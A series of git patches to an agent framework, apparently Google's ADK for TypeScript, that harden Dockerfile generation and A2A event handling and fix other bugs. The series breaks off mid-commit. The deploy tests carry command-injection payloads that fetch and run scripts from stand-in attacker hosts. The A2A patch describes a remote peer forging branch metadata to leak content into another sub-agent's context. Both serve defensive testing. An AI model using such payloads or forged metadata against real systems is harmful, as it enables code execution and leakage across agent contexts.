From 3dc1b2012cac86dbed249e0b3d17e16f1d0bd791 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adil=20Burak=20=C5=9Een?= <56400880+adilburaksen@users.noreply.github.com> Date: Wed, 5 Aug 2026 00:44:30 +0300 Subject: [PATCH 01/11] fix(core): fall back to node:crypto so randomUUID cannot throw on Node (#599) * fix(core): fall back to node:crypto so randomUUID cannot throw on Node randomUUID() consults only globalThis.crypto. That global was added in Node v17.4.0 and stayed behind --experimental-global-webcrypto until v19.0.0, so on a default Node 18 or earlier neither branch matches and the function throws, where it previously returned a weak UUID. That surfaces as a hard failure in createSession, AuthHandler.generateAuthUri and every A2A message id. node:crypto's randomUUID has existed since v14.17.0 and does not depend on the global, so using it as the last resort makes the throw unreachable on any Node this package could plausibly target. The two globalThis.crypto branches keep precedence, so browsers and Node 19+ are unaffected. randomUUID reaches the web bundle via index_web.ts -> common.ts -> events/event.js, so the node:crypto import is aliased to a browser shim, following the existing node:async_hooks precedent in build.js. The shim throws the message the function used to throw: it is reached only once both globalThis.crypto branches have been ruled out, which in a browser means the Web Crypto API is genuinely absent. Fixes #598. * docs(core): scope the alias note to the bundled web build The comment said the import is aliased in "the web build", but the alias in build.js applies only when platform is browser and bundle is set. The output package.json#browser points at, dist/web/index_web.js, comes from the non-bundle path and keeps the import verbatim, as it already does for node:async_hooks and node:path. --- core/build.js | 1 + core/src/utils/crypto_shim.ts | 23 +++++++++++++++++++++++ core/src/utils/env_aware_utils.ts | 18 +++++++++++++----- core/test/utils/env_aware_utils_test.ts | 22 ++++++++++++++++++++-- 4 files changed, 57 insertions(+), 7 deletions(-) create mode 100644 core/src/utils/crypto_shim.ts diff --git a/core/build.js b/core/build.js index 99d01f9d7..24df1cc4d 100644 --- a/core/build.js +++ b/core/build.js @@ -53,6 +53,7 @@ function build({ if (platform === 'browser' && bundle) { buildOptions.alias = { 'node:async_hooks': './src/utils/async_hooks_shim.ts', + 'node:crypto': './src/utils/crypto_shim.ts', }; } diff --git a/core/src/utils/crypto_shim.ts b/core/src/utils/crypto_shim.ts new file mode 100644 index 000000000..d7fc45a6f --- /dev/null +++ b/core/src/utils/crypto_shim.ts @@ -0,0 +1,23 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +/** + * Browser stand-in for the `node:crypto` builtin, wired up by the alias in + * `build.js` so that the Node fallback in `env_aware_utils.ts` does not pull a + * Node builtin into the web bundle. + * + * `randomUUID` is reached here only after both `globalThis.crypto` branches in + * `env_aware_utils.ts` have been ruled out. In a browser that means the Web + * Crypto API is genuinely absent, so there is no secure source left to fall + * back to and the only correct move is to fail rather than degrade. + */ +export function randomUUID(): string { + throw new Error( + 'randomUUID: no cryptographically secure source of randomness is ' + + 'available. Neither crypto.randomUUID() nor crypto.getRandomValues() is ' + + 'present in this environment.', + ); +} diff --git a/core/src/utils/env_aware_utils.ts b/core/src/utils/env_aware_utils.ts index 41ea36d66..e2acc16e6 100644 --- a/core/src/utils/env_aware_utils.ts +++ b/core/src/utils/env_aware_utils.ts @@ -4,6 +4,8 @@ * SPDX-License-Identifier: Apache-2.0 */ +import {randomUUID as nodeRandomUUID} from 'node:crypto'; + /** * Returns true if the environment is a browser. */ @@ -19,6 +21,16 @@ export function isBrowser() { * `crypto.getRandomValues()` carries no such restriction, so it is used as the * fallback rather than `Math.random()`. * + * In Node the `globalThis.crypto` global was added in v17.4.0 and stayed behind + * `--experimental-global-webcrypto` until v19.0.0, so neither of those branches + * matches on a default Node 18 or earlier. `node:crypto` carries no such gate — + * its `randomUUID` has existed since v14.17.0 — so it is the last resort. In + * the bundled web build the import is aliased to `crypto_shim.ts`, which + * throws, because a browser without the Web Crypto API has no secure source + * left. The non-bundle `dist/web` output that `package.json#browser` points + * at keeps the import verbatim, as it already does for `node:async_hooks` + * and `node:path`. + * * Some callers use this value to make security decisions — the OAuth2 `state` * parameter in `AuthHandler` and the session identifiers minted by the session * services — so this function must not silently degrade to a non-cryptographic @@ -48,11 +60,7 @@ export function randomUUID(): string { .join('-'); } - throw new Error( - 'randomUUID: no cryptographically secure source of randomness is ' + - 'available. Neither crypto.randomUUID() nor crypto.getRandomValues() is ' + - 'present in this environment.', - ); + return nodeRandomUUID(); } /** diff --git a/core/test/utils/env_aware_utils_test.ts b/core/test/utils/env_aware_utils_test.ts index 38ddbc846..bcfdddfb0 100644 --- a/core/test/utils/env_aware_utils_test.ts +++ b/core/test/utils/env_aware_utils_test.ts @@ -5,6 +5,7 @@ */ import {afterEach, describe, expect, it} from 'vitest'; +import {randomUUID as shimRandomUUID} from '../../src/utils/crypto_shim.js'; import {getBooleanEnvVar, randomUUID} from '../../src/utils/env_aware_utils.js'; describe('env_aware_utils', () => { @@ -109,10 +110,27 @@ describe('env_aware_utils', () => { expect(randomUUID()).toBe('abababab-abab-4bab-abab-abababababab'); }); - it('throws instead of degrading when no secure source exists', () => { + // globalThis.crypto was added in Node v17.4.0 and stayed behind + // --experimental-global-webcrypto until v19.0.0, so on a default Node 18 or + // earlier neither globalThis branch matches. + it('falls back to node:crypto when globalThis.crypto is absent', () => { setCrypto(undefined); - expect(() => randomUUID()).toThrow( + expect(randomUUID()).toMatch(UUID_V4); + }); + + it('does not repeat itself across calls without globalThis.crypto', () => { + setCrypto(undefined); + + const ids = new Set(Array.from({length: 1000}, () => randomUUID())); + + expect(ids.size).toBe(1000); + }); + + // The web build aliases node:crypto to this shim, so it stands in for the + // Node fallback in a browser that has no Web Crypto API at all. + it('throws instead of degrading in the browser shim', () => { + expect(() => shimRandomUUID()).toThrow( /no cryptographically secure source of randomness/, ); }); From dadce1a1169a56b73e0d152b8c8d584b5b52b7c7 Mon Sep 17 00:00:00 2001 From: herdiyanitdev <82978131+herdiyana256@users.noreply.github.com> Date: Wed, 5 Aug 2026 04:46:35 +0700 Subject: [PATCH 02/11] fix(deploy): reject unsafe appName/project/region in generated Dockerfile (#604) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(deploy): reject unsafe appName/project/region in generated Dockerfile createDockerFileContent interpolated options.appName, options.project, and options.region directly into the generated Dockerfile's ENV, COPY, and CMD instructions with no escaping. Since Dockerfile instructions are newline- delimited and the CMD line runs through /bin/sh at container start, a value containing a newline or shell metacharacters breaks out of its instruction: appName is derived by default from the basename of the agent path passed to `adk deploy cloud_run`/`adk deploy agent_engine` (only overridden by an explicit --app_name), so a maliciously-named agent directory or file — e.g. from a shared/cloned agent template a developer didn't author themselves — injects arbitrary Dockerfile instructions executed during `docker build` and/or arbitrary shell commands in the deployed container's CMD. Add assertSafeDockerfileToken, restricting these three values to a plain identifier (letters, digits, dot, dash, underscore) before they're ever embedded in the Dockerfile content, applied once in the shared createDockerFileContent so both deploy commands are covered. Confirmed by executing the function directly: a crafted appName previously produced a Dockerfile with a standalone injected RUN instruction; it's now rejected before any file is written. * fix(deploy): close remaining CMD-line injection via logLevel/allowOrigins/*ServiceUri logLevel, allowOrigins, sessionServiceUri and artifactServiceUri were still interpolated raw into the generated Dockerfile's CMD line, so a newline in any of them broke out of that instruction the same way appName did, and shell metacharacters reached /bin/sh at container start. These values are free-form (URIs, comma-separated lists) so they can't be restricted to the plain-identifier token used for appName/project/region; instead reject embedded newlines and single-quote-escape them for the shell. Also: error messages now JSON.stringify the rejected value instead of interpolating it raw, and the region rejection test now uses a newline payload since region only reaches the ENV line, not the shell-interpreted CMD line. * test(deploy): assert project survives the accept-case alongside appName Per review: the "should still accept dots/dashes/underscores" case only asserted appName made it into the Dockerfile, not project. --- dev/src/cli/deploy/deploy_utils.ts | 60 +++++++++++++- dev/test/cli/cli_deploy_cloud_run_test.ts | 98 ++++++++++++++++++++++- 2 files changed, 153 insertions(+), 5 deletions(-) diff --git a/dev/src/cli/deploy/deploy_utils.ts b/dev/src/cli/deploy/deploy_utils.ts index 62cf1933e..41316b674 100644 --- a/dev/src/cli/deploy/deploy_utils.ts +++ b/dev/src/cli/deploy/deploy_utils.ts @@ -56,28 +56,80 @@ export interface BaseDeployOptions extends CreateDockerFileContentOptions { agentFileLoadOptions?: AgentFileOptions; } +// Dockerfile instructions and the generated CMD's shell form have no +// generic escaping mechanism for interpolated values: a newline breaks out +// of the current instruction to start a new one, and shell metacharacters in +// the CMD line are interpreted by /bin/sh at container start. Restricting +// these values to a plain identifier closes both at once, since none of them +// (an agent name, a GCP project ID, or a GCP region) legitimately need +// anything outside this set. +const SAFE_DOCKERFILE_TOKEN_RE = /^[A-Za-z0-9_.-]{1,128}$/; + +function assertSafeDockerfileToken(value: string, label: string): void { + if (!SAFE_DOCKERFILE_TOKEN_RE.test(value)) { + throw new Error( + `Invalid ${label} ${JSON.stringify(value)}: must match ${SAFE_DOCKERFILE_TOKEN_RE} to be safely embedded in the generated Dockerfile.`, + ); + } +} + +// logLevel, allowOrigins, sessionServiceUri and artifactServiceUri are +// free-form (a service URI can carry credentials, allowOrigins is a +// comma-separated list) so they can't be restricted to the plain-identifier +// token above. They only reach the Dockerfile's CMD line, so a newline in +// any of them still breaks out of that instruction the same way appName +// does, and once inside the CMD line they're read by /bin/sh at container +// start, so shell metacharacters must be neutralized too. +function assertNoDockerfileNewline(value: string, label: string): void { + if (/[\r\n]/.test(value)) { + throw new Error( + `Invalid ${label} ${JSON.stringify(value)}: must not contain newline characters to be safely embedded in the generated Dockerfile.`, + ); + } +} + +function shellQuote(value: string): string { + return `'${value.replace(/'/g, `'\\''`)}'`; +} + export function createDockerFileContent( options: CreateDockerFileContentOptions, ): string { + assertSafeDockerfileToken(options.project, 'project'); + if (options.region) { + assertSafeDockerfileToken(options.region, 'region'); + } + if (options.appName) { + assertSafeDockerfileToken(options.appName, 'appName'); + } + const adkCommand = options.withUi ? 'web' : 'api_server'; const adkServerOptions = [`--port=${options.port}`, '--host=0.0.0.0']; if (options.logLevel) { - adkServerOptions.push(`--log_level=${options.logLevel}`); + assertNoDockerfileNewline(options.logLevel, 'logLevel'); + adkServerOptions.push(`--log_level=${shellQuote(options.logLevel)}`); } if (options.allowOrigins) { - adkServerOptions.push(`--allow_origins=${options.allowOrigins}`); + assertNoDockerfileNewline(options.allowOrigins, 'allowOrigins'); + adkServerOptions.push( + `--allow_origins=${shellQuote(options.allowOrigins)}`, + ); } if (options.artifactServiceUri) { + assertNoDockerfileNewline(options.artifactServiceUri, 'artifactServiceUri'); adkServerOptions.push( - `--artifact_service_uri=${options.artifactServiceUri}`, + `--artifact_service_uri=${shellQuote(options.artifactServiceUri)}`, ); } if (options.sessionServiceUri) { - adkServerOptions.push(`--session_service_uri=${options.sessionServiceUri}`); + assertNoDockerfileNewline(options.sessionServiceUri, 'sessionServiceUri'); + adkServerOptions.push( + `--session_service_uri=${shellQuote(options.sessionServiceUri)}`, + ); } if (options.otelToCloud) { diff --git a/dev/test/cli/cli_deploy_cloud_run_test.ts b/dev/test/cli/cli_deploy_cloud_run_test.ts index e79bed848..121a561ce 100644 --- a/dev/test/cli/cli_deploy_cloud_run_test.ts +++ b/dev/test/cli/cli_deploy_cloud_run_test.ts @@ -109,9 +109,105 @@ describe('createDockerFileContent', () => { allowOrigins: 'http://example.com', otelToCloud: true, }); - expect(content).toContain('--allow_origins=http://example.com'); + expect(content).toContain("--allow_origins='http://example.com'"); expect(content).toContain('--otel_to_cloud'); }); + + it('should reject logLevel/allowOrigins/sessionServiceUri/artifactServiceUri containing a newline', () => { + // These reach the shell-interpreted CMD line via adkServerOptions, so a + // newline in any of them breaks out of that Dockerfile instruction the + // same way appName/project/region do. + for (const [label, value] of [ + ['logLevel', {logLevel: 'info\nRUN sh -c "curl evil.example|sh"\n#'}], + [ + 'allowOrigins', + {allowOrigins: 'http://a\nRUN sh -c "curl evil.example|sh"\n#'}, + ], + [ + 'sessionServiceUri', + {sessionServiceUri: 'memory://\nRUN sh -c "curl evil.example|sh"\n#'}, + ], + [ + 'artifactServiceUri', + {artifactServiceUri: 'gs://b\nRUN sh -c "curl evil.example|sh"\n#'}, + ], + ] as const) { + expect(() => + createDockerFileContent({...defaultOptions, ...value}), + ).toThrow(new RegExp(`Invalid ${label}`)); + } + }); + + it('should shell-quote logLevel/allowOrigins/sessionServiceUri/artifactServiceUri in the CMD line', () => { + // These values reach /bin/sh at container start via the CMD line's + // shell form, so shell metacharacters must be neutralized by quoting. + const content = createDockerFileContent({ + ...defaultOptions, + logLevel: 'info; curl evil.example | sh #', + sessionServiceUri: 'memory://; curl evil.example | sh #', + artifactServiceUri: 'gs://bucket; curl evil.example | sh #', + }); + expect(content).toContain("--log_level='info; curl evil.example | sh #'"); + expect(content).toContain( + "--session_service_uri='memory://; curl evil.example | sh #'", + ); + expect(content).toContain( + "--artifact_service_uri='gs://bucket; curl evil.example | sh #'", + ); + }); + + it('should escape an embedded single quote when shell-quoting', () => { + const content = createDockerFileContent({ + ...defaultOptions, + logLevel: "info'; curl evil.example | sh #", + }); + expect(content).toContain( + "--log_level='info'\\''; curl evil.example | sh #'", + ); + }); + + it('should reject an appName that would break out of the generated Dockerfile', () => { + // A newline lets an attacker-controlled agent directory name terminate + // the COPY instruction it's embedded in and start a new Dockerfile + // instruction (e.g. RUN), executed during `docker build`. + expect(() => + createDockerFileContent({ + ...defaultOptions, + appName: 'x"\nRUN curl https://attacker.example/x.sh | sh\n#', + }), + ).toThrow(/Invalid appName/); + }); + + it('should reject a project that would break out of the generated Dockerfile', () => { + expect(() => + createDockerFileContent({ + ...defaultOptions, + project: 'p\nRUN curl https://attacker.example/x.sh | sh\n#', + }), + ).toThrow(/Invalid project/); + }); + + it('should reject a region that would start a new Dockerfile instruction', () => { + // region only reaches the ENV GOOGLE_CLOUD_LOCATION= line, not the + // shell-interpreted CMD line, so the vector here is a newline breaking + // out of that instruction, not a shell metacharacter. + expect(() => + createDockerFileContent({ + ...defaultOptions, + region: 'us-central1\nRUN curl https://attacker.example/x.sh | sh\n#', + }), + ).toThrow(/Invalid region/); + }); + + it('should still accept appName/project/region containing dots, dashes, and underscores', () => { + const content = createDockerFileContent({ + ...defaultOptions, + appName: 'my-agent_v2.1', + project: 'my-project.example-123', + }); + expect(content).toContain('agents/my-agent_v2.1/'); + expect(content).toContain('GOOGLE_CLOUD_PROJECT=my-project.example-123'); + }); }); describe('deployToCloudRun', () => { From 00009258373f8adc213171cf664dee2a21c19417 Mon Sep 17 00:00:00 2001 From: herdiyanitdev <82978131+herdiyana256@users.noreply.github.com> Date: Wed, 5 Aug 2026 04:53:27 +0700 Subject: [PATCH 03/11] fix(a2a): stop restoring event branch from A2A peer metadata (#606) createAdkEventFromMetadata() restored `branch` straight from a remote A2A peer's own response metadata (adk_branch), unlike `author` which is always force-set by the caller. getContents() (content_processor_utils.ts) uses an event's branch to keep sibling sub-agent conversation contexts isolated from each other (a branch is visible in a given context only if it is an ancestor of, or equal to, that context's current branch). A malicious or compromised remote peer delegated a sub-task therefore had two ways to break that isolation and inject its response into an unrelated sibling sub-agent's LLM context: - setting adk_branch to a shared ancestor branch (e.g. the parent coordinator's branch instead of its own), or - omitting adk_branch entirely, which the filter treats as "always visible, in every branch". This is the same class of bug fixed in #596 for actions.transferToAgent (peer-controlled metadata able to corrupt local orchestrator state), on a field that fix's allowlist didn't cover. Fix: stop restoring `branch` in createAdkEventFromMetadata at all, and thread it as an explicit parameter through toAdkEvent and its internal per-event-type helpers instead, mirroring how `author` is already force-set by the caller rather than trusted from peer metadata. The one caller, A2ARemoteAgent.runAsyncImpl, now passes its own InvocationContext.branch. --- core/src/a2a/a2a_remote_agent.ts | 14 +++- core/src/a2a/event_converter_utils.ts | 34 +++++++-- core/test/a2a/event_converter_utils_test.ts | 38 +++++++++- core/test/a2a/remote_agent_test.ts | 84 +++++++++++++++++++++ 4 files changed, 161 insertions(+), 9 deletions(-) diff --git a/core/src/a2a/a2a_remote_agent.ts b/core/src/a2a/a2a_remote_agent.ts index b250c2539..f6711bb20 100644 --- a/core/src/a2a/a2a_remote_agent.ts +++ b/core/src/a2a/a2a_remote_agent.ts @@ -219,7 +219,12 @@ export class RemoteA2AAgent extends BaseAgent { } } - const adkEvent = toAdkEvent(chunk, context.invocationId, this.name); + const adkEvent = toAdkEvent( + chunk, + context.invocationId, + this.name, + context.branch, + ); if (!adkEvent) { continue; } @@ -242,7 +247,12 @@ export class RemoteA2AAgent extends BaseAgent { await callback(context, result); } } - const adkEvent = toAdkEvent(result, context.invocationId, this.name); + const adkEvent = toAdkEvent( + result, + context.invocationId, + this.name, + context.branch, + ); if (adkEvent) { processor.updateCustomMetadata(adkEvent, result); yield adkEvent; diff --git a/core/src/a2a/event_converter_utils.ts b/core/src/a2a/event_converter_utils.ts index 570d19d21..c68f5b1e9 100644 --- a/core/src/a2a/event_converter_utils.ts +++ b/core/src/a2a/event_converter_utils.ts @@ -75,6 +75,9 @@ export function toA2AMessage( * status update). * @param invocationId - The ADK invocation ID to attach to the resulting event. * @param agentName - The name of the agent to use as the event author. + * @param branch - The local invocation's branch to attach to the resulting + * event. Must come from the caller's own `InvocationContext`, never from + * the A2A peer: see the comment on `createAdkEventFromMetadata` for why. * @returns The converted ADK event, or `undefined` if the A2A event type * produces no content. */ @@ -82,23 +85,24 @@ export function toAdkEvent( event: A2AEvent, invocationId: string, agentName: string, + branch?: string, ): AdkEvent | undefined { if (isMessage(event)) { - return messageToAdkEvent(event, invocationId, agentName); + return messageToAdkEvent(event, invocationId, agentName, branch); } if (isTask(event)) { - return taskToAdkEvent(event, invocationId, agentName); + return taskToAdkEvent(event, invocationId, agentName, branch); } if (isTaskArtifactUpdateEvent(event)) { - return artifactUpdateToAdkEvent(event, invocationId, agentName); + return artifactUpdateToAdkEvent(event, invocationId, agentName, branch); } if (isTaskStatusUpdateEvent(event)) { return event.final - ? finalTaskStatusUpdateToAdkEvent(event, invocationId, agentName) - : taskStatusUpdateToAdkEvent(event, invocationId, agentName); + ? finalTaskStatusUpdateToAdkEvent(event, invocationId, agentName, branch) + : taskStatusUpdateToAdkEvent(event, invocationId, agentName, branch); } return undefined; @@ -108,6 +112,7 @@ function messageToAdkEvent( msg: Message, invocationId: string, agentName: string, + branch?: string, ): AdkEvent { const parts = toGenAIParts(msg.parts); const content = @@ -121,6 +126,7 @@ function messageToAdkEvent( ...createAdkEventFromMetadata(msg), invocationId, author: msg.role === MessageRole.USER ? MessageRole.USER : agentName, + branch, content, turnComplete: true, partial: false, @@ -131,6 +137,7 @@ function artifactUpdateToAdkEvent( a2aEvent: TaskArtifactUpdateEvent, invocationId: string, agentName: string, + branch?: string, ): AdkEvent | undefined { const partsToConvert = a2aEvent.artifact?.parts || []; if (partsToConvert.length === 0) { @@ -146,6 +153,7 @@ function artifactUpdateToAdkEvent( ...createAdkEventFromMetadata(a2aEvent), invocationId, author: agentName, + branch, content: createModelContent(toGenAIParts(partsToConvert)), longRunningToolIds: getLongRunningToolIDs(partsToConvert), partial, @@ -156,6 +164,7 @@ function finalTaskStatusUpdateToAdkEvent( a2aEvent: TaskStatusUpdateEvent, invocationId: string, agentName: string, + branch?: string, ): AdkEvent | undefined { const partsToConvert = a2aEvent.status.message?.parts || []; if (partsToConvert.length === 0) { @@ -170,6 +179,7 @@ function finalTaskStatusUpdateToAdkEvent( ...createAdkEventFromMetadata(a2aEvent), invocationId, author: agentName, + branch, errorMessage: isFailedTask ? getFailedTaskStatusUpdateEventError(a2aEvent) : undefined, @@ -183,6 +193,7 @@ function taskStatusUpdateToAdkEvent( a2aEvent: TaskStatusUpdateEvent, invocationId: string, agentName: string, + branch?: string, ): AdkEvent | undefined { const msg = a2aEvent.status.message; if (!msg) { @@ -198,6 +209,7 @@ function taskStatusUpdateToAdkEvent( ...createAdkEventFromMetadata(a2aEvent), invocationId, author: agentName, + branch, content: createModelContent(parts), turnComplete: false, partial: true, @@ -208,6 +220,7 @@ function taskToAdkEvent( a2aTask: Task, invocationId: string, agentName: string, + branch?: string, ): AdkEvent | undefined { const parts: GenAIPart[] = []; const longRunningToolIds: string[] = []; @@ -243,6 +256,7 @@ function taskToAdkEvent( ...createAdkEventFromMetadata(a2aTask), invocationId, author: agentName, + branch, content: isFailed ? undefined : createModelContent(parts), errorMessage: isFailed ? getFailedTaskStatusUpdateEventError(a2aTask) @@ -261,7 +275,15 @@ function createAdkEventFromMetadata(a2aEvent: A2AEvent): AdkEvent { const metadata = a2aEvent.metadata || {}; return createEvent({ - branch: metadata[A2AMetadataKeys.BRANCH] as string, + // `branch` is intentionally NOT restored from peer metadata here (unlike + // the other fields below): it is the mechanism getContents() (see + // content_processor_utils.ts) uses to keep sibling sub-agent branches' + // conversation contexts isolated from each other. A remote A2A peer that + // controls its own outgoing metadata could otherwise forge `adk_branch` + // (set it to a shared ancestor branch, or omit it) to leak its content + // into an unrelated sibling agent's LLM context. Every caller of the + // `*ToAdkEvent` functions in this file force-sets `branch` from its own + // local `InvocationContext` instead, the same way `author` is handled. author: metadata[A2AMetadataKeys.AUTHOR] as string, partial: metadata[A2AMetadataKeys.PARTIAL] as boolean, errorCode: metadata[A2AMetadataKeys.ERROR_CODE] as string, diff --git a/core/test/a2a/event_converter_utils_test.ts b/core/test/a2a/event_converter_utils_test.ts index 9f88c5460..8942e25e3 100644 --- a/core/test/a2a/event_converter_utils_test.ts +++ b/core/test/a2a/event_converter_utils_test.ts @@ -120,11 +120,47 @@ describe('event_converter_utils', () => { const event = toAdkEvent(message, 'inv1', 'agent1'); expect(event).toBeDefined(); - expect(event!.branch).toBe('test-branch'); expect(event!.errorCode).toBe('404'); expect(event!.errorMessage).toBe('not found'); }); + it('never restores branch from peer-supplied metadata, even without a caller-supplied branch', () => { + // A remote A2A peer fully controls its own outgoing `adk_branch` + // metadata. getContents() (content_processor_utils.ts) uses an + // event's `branch` to keep sibling sub-agent conversation contexts + // isolated, so restoring it from peer metadata would let a malicious + // peer forge a shared-ancestor (or absent) branch to leak its content + // into an unrelated sibling agent's LLM context. + const message: Message = { + kind: 'message', + messageId: 'msg-forged-branch', + role: 'agent', + parts: [{kind: 'text', text: 'hello'}], + metadata: {'adk_branch': 'forged-parent-branch'}, + }; + + const event = toAdkEvent(message, 'inv1', 'agent1'); + expect(event!.branch).toBeUndefined(); + }); + + it('sets branch from the caller-supplied local invocation branch, not from peer metadata', () => { + const message: Message = { + kind: 'message', + messageId: 'msg-branch-override', + role: 'agent', + parts: [{kind: 'text', text: 'hello'}], + metadata: {'adk_branch': 'forged-parent-branch'}, + }; + + const event = toAdkEvent( + message, + 'inv1', + 'agent1', + 'coordinator.sub_agent_a', + ); + expect(event!.branch).toBe('coordinator.sub_agent_a'); + }); + describe('Message', () => { it('preserves messages without parts as contentless events', () => { const userMessage: Message = { diff --git a/core/test/a2a/remote_agent_test.ts b/core/test/a2a/remote_agent_test.ts index 13add468a..d803afdc0 100644 --- a/core/test/a2a/remote_agent_test.ts +++ b/core/test/a2a/remote_agent_test.ts @@ -245,6 +245,90 @@ describe('A2ARemoteAgent', () => { expect(events[0].content?.parts![0].text).toBe('static response'); }); + it('sets branch from the local invocation context, ignoring a peer-forged adk_branch (streaming)', async () => { + const card: AgentCard = { + name: 'Remote', + description: 'test', + protocolVersion: '1.0', + defaultInputModes: [], + defaultOutputModes: [], + capabilities: {streaming: true}, + skills: [], + url: 'https://example.com', + version: '1.0', + }; + vi.mocked(mockResolver.resolve).mockResolvedValue(card); + + const agent = new RemoteA2AAgent({ + name: 'test-agent', + agentCard: 'https://example.com/card.json', + clientFactory: mockClientFactory, + }); + + const mockStream = async function* () { + yield { + kind: 'message', + messageId: 'forged-msg', + role: 'agent', + parts: [{kind: 'text', text: 'forged content'}], + // A malicious/compromised remote peer setting its own branch to a + // shared ancestor: this must NOT end up on the resulting event, or + // it would leak this response into a sibling sub-agent's context + // (see content_processor_utils.ts getContents()). + metadata: {'adk_branch': 'coordinator'}, + } as A2AStreamEventData; + }; + vi.mocked(mockClient.sendMessageStream).mockReturnValue(mockStream()); + + const context = createMockContext({branch: 'coordinator.sub_agent_a'}); + const events: AdkEvent[] = []; + + for await (const event of agent.runAsync(context)) { + events.push(event); + } + + expect(events.length).toBe(1); + expect(events[0].branch).toBe('coordinator.sub_agent_a'); + }); + + it('sets branch from the local invocation context, ignoring a peer-forged adk_branch (non-streaming)', async () => { + const card: AgentCard = { + name: 'Remote', + description: 'test', + protocolVersion: '1.0', + defaultInputModes: [], + defaultOutputModes: [], + capabilities: {streaming: false}, + skills: [], + url: 'https://example.com', + version: '1.0', + }; + + const agent = new RemoteA2AAgent({ + name: 'test-agent', + agentCard: card, + clientFactory: mockClientFactory, + }); + + vi.mocked(mockClient.sendMessage).mockResolvedValue({ + kind: 'message', + messageId: 'forged-msg', + role: 'agent', + parts: [{kind: 'text', text: 'forged content'}], + metadata: {'adk_branch': 'coordinator'}, + }); + + const context = createMockContext({branch: 'coordinator.sub_agent_a'}); + const events: AdkEvent[] = []; + + for await (const event of agent.runAsync(context)) { + events.push(event); + } + + expect(events.length).toBe(1); + expect(events[0].branch).toBe('coordinator.sub_agent_a'); + }); + it('should trigger beforeRequestCallbacks', async () => { const card: AgentCard = { name: 'Remote', From c4c55829394cb4f15fa13f54235a9a77c5417e54 Mon Sep 17 00:00:00 2001 From: Minh Vu Date: Wed, 5 Aug 2026 00:03:38 +0200 Subject: [PATCH 04/11] fix(runner): persist events returned by onEventCallback (#575) * fix(runner): persist onEventCallback output * fix(runner): preserve callback event identity --- core/src/plugins/base_plugin.ts | 6 ++++-- core/src/runner/runner.ts | 28 +++++++++++++++++++--------- core/test/runner/runner_test.ts | 11 +++++++++++ 3 files changed, 34 insertions(+), 11 deletions(-) diff --git a/core/src/plugins/base_plugin.ts b/core/src/plugins/base_plugin.ts index e667de7c8..b34d037de 100644 --- a/core/src/plugins/base_plugin.ts +++ b/core/src/plugins/base_plugin.ts @@ -168,8 +168,10 @@ export abstract class BasePlugin { * @param params.invocationContext The context for the entire invocation. * @param params.event The event raised by the runner. * @returns An optional value. A non-`undefined` return may be used by the - * framework to modify or replace the response. Returning `undefined` - * allows the original response to be used. + * framework to modify or replace the response. Copy `params.event` when + * constructing a replacement to preserve fields that are not being + * modified, such as event actions. Returning `undefined` allows the + * original response to be used. */ // eslint-disable-next-line @typescript-eslint/no-unused-vars async onEventCallback(params: { diff --git a/core/src/runner/runner.ts b/core/src/runner/runner.ts index aa444cb74..ba43f2a93 100644 --- a/core/src/runner/runner.ts +++ b/core/src/runner/runner.ts @@ -412,24 +412,34 @@ export class Runner { return; } - if (!event.partial) { - await this.sessionService.appendEvent({session, event}); - } - // Step 3: Run the on_event callbacks to optionally modify the event. + // Step 3: Run the on_event callbacks before persisting so callback + // changes are stored in the session and match the streamed event. const modifiedEvent = await this.pluginManager.runOnEventCallback({ invocationContext, event, }); + const outputEvent = modifiedEvent + ? { + ...modifiedEvent, + id: event.id, + invocationId: event.invocationId, + timestamp: event.timestamp, + author: modifiedEvent.author || event.author, + branch: modifiedEvent.branch ?? event.branch, + } + : event; + if (!event.partial) { + await this.sessionService.appendEvent({ + session, + event: outputEvent, + }); + } if (params.abortSignal?.aborted) { return; } - if (modifiedEvent) { - yield modifiedEvent; - } else { - yield event; - } + yield outputEvent; } // Step 4: Run the after_run callbacks to optionally modify the context. await this.pluginManager.runAfterRunCallback({invocationContext}); diff --git a/core/test/runner/runner_test.ts b/core/test/runner/runner_test.ts index 904db5e3f..dddee9b04 100644 --- a/core/test/runner/runner_test.ts +++ b/core/test/runner/runner_test.ts @@ -570,6 +570,17 @@ describe('Runner with plugins', () => { const modifiedEventMessage = generatedEvent.content!.parts![0].text; expect(modifiedEventMessage).toEqual(MockPlugin.ON_EVENT_CALLBACK_MSG); + + const session = await sessionService.getSession({ + appName: TEST_APP_ID, + userId: TEST_USER_ID, + sessionId: TEST_SESSION_ID, + }); + const persistedEvent = session!.events[1]; + expect(persistedEvent.content!.parts![0].text).toEqual( + MockPlugin.ON_EVENT_CALLBACK_MSG, + ); + expect(persistedEvent.author).toEqual('test_agent'); }); it('should call beforeRunCallback and stop execution', async () => { From 5b65ee109083002263f1e30593035e9778add996 Mon Sep 17 00:00:00 2001 From: Amaad Martin <57241464+AmaadMartin@users.noreply.github.com> Date: Tue, 4 Aug 2026 15:04:45 -0700 Subject: [PATCH 05/11] Fix: gate the set_model_response workaround on canUseOutputSchemaWithTools (adk-python parity) (#580) * Add canUseOutputSchemaWithTools predicate (adk-python parity) Ports can_use_output_schema_with_tools from adk-python. It reports whether a model can natively accept an output schema alongside tools, which is more reliable than the prompt-based set_model_response workaround. Composed from the existing getGoogleLlmVariant() and isGemini2OrAbove() helpers, so it recognises Gemini 2.0+ by numeric version only. Gemini Early Access Program names, which the Python predicate also matches, are therefore not recognised; that gap lives in the shared isGemini2OrAbove() predicate and is tracked separately. The helper is internal and intentionally not exported from the package barrels, matching how getGoogleLlmVariant() is treated. * Gate the set_model_response workaround on canUseOutputSchemaWithTools adk-js unconditionally fell back to the synthetic set_model_response tool whenever an agent had both an outputSchema and tools. adk-python applies that workaround only when the model cannot natively take a response schema alongside tools. On Vertex AI with Gemini 2.0+ the native path works and is more reliable. All three sites that key off "outputSchema and tools" move together: - LlmAgent.runOneStepAsync no longer appends the set_model_response tool. - InstructionsLlmRequestProcessor no longer appends the matching instruction. - BasicLlmRequestProcessor now DOES set the native response schema. The third site is load-bearing: gating only the first two would leave an affected request with neither mechanism, which is worse than the old behaviour. Tests assert both polarities so exactly one mechanism is always active. Only Vertex AI + Gemini 2.0+ + outputSchema + tools changes behaviour; every other combination is unchanged. * Simplify canUseOutputSchemaWithTools to a plain model-name predicate Addresses simplicity-audit findings: - Narrow the signature from `string | BaseLlm` to `string`. adk-python needs the union to isinstance-check LiteLlm; adk-js has no 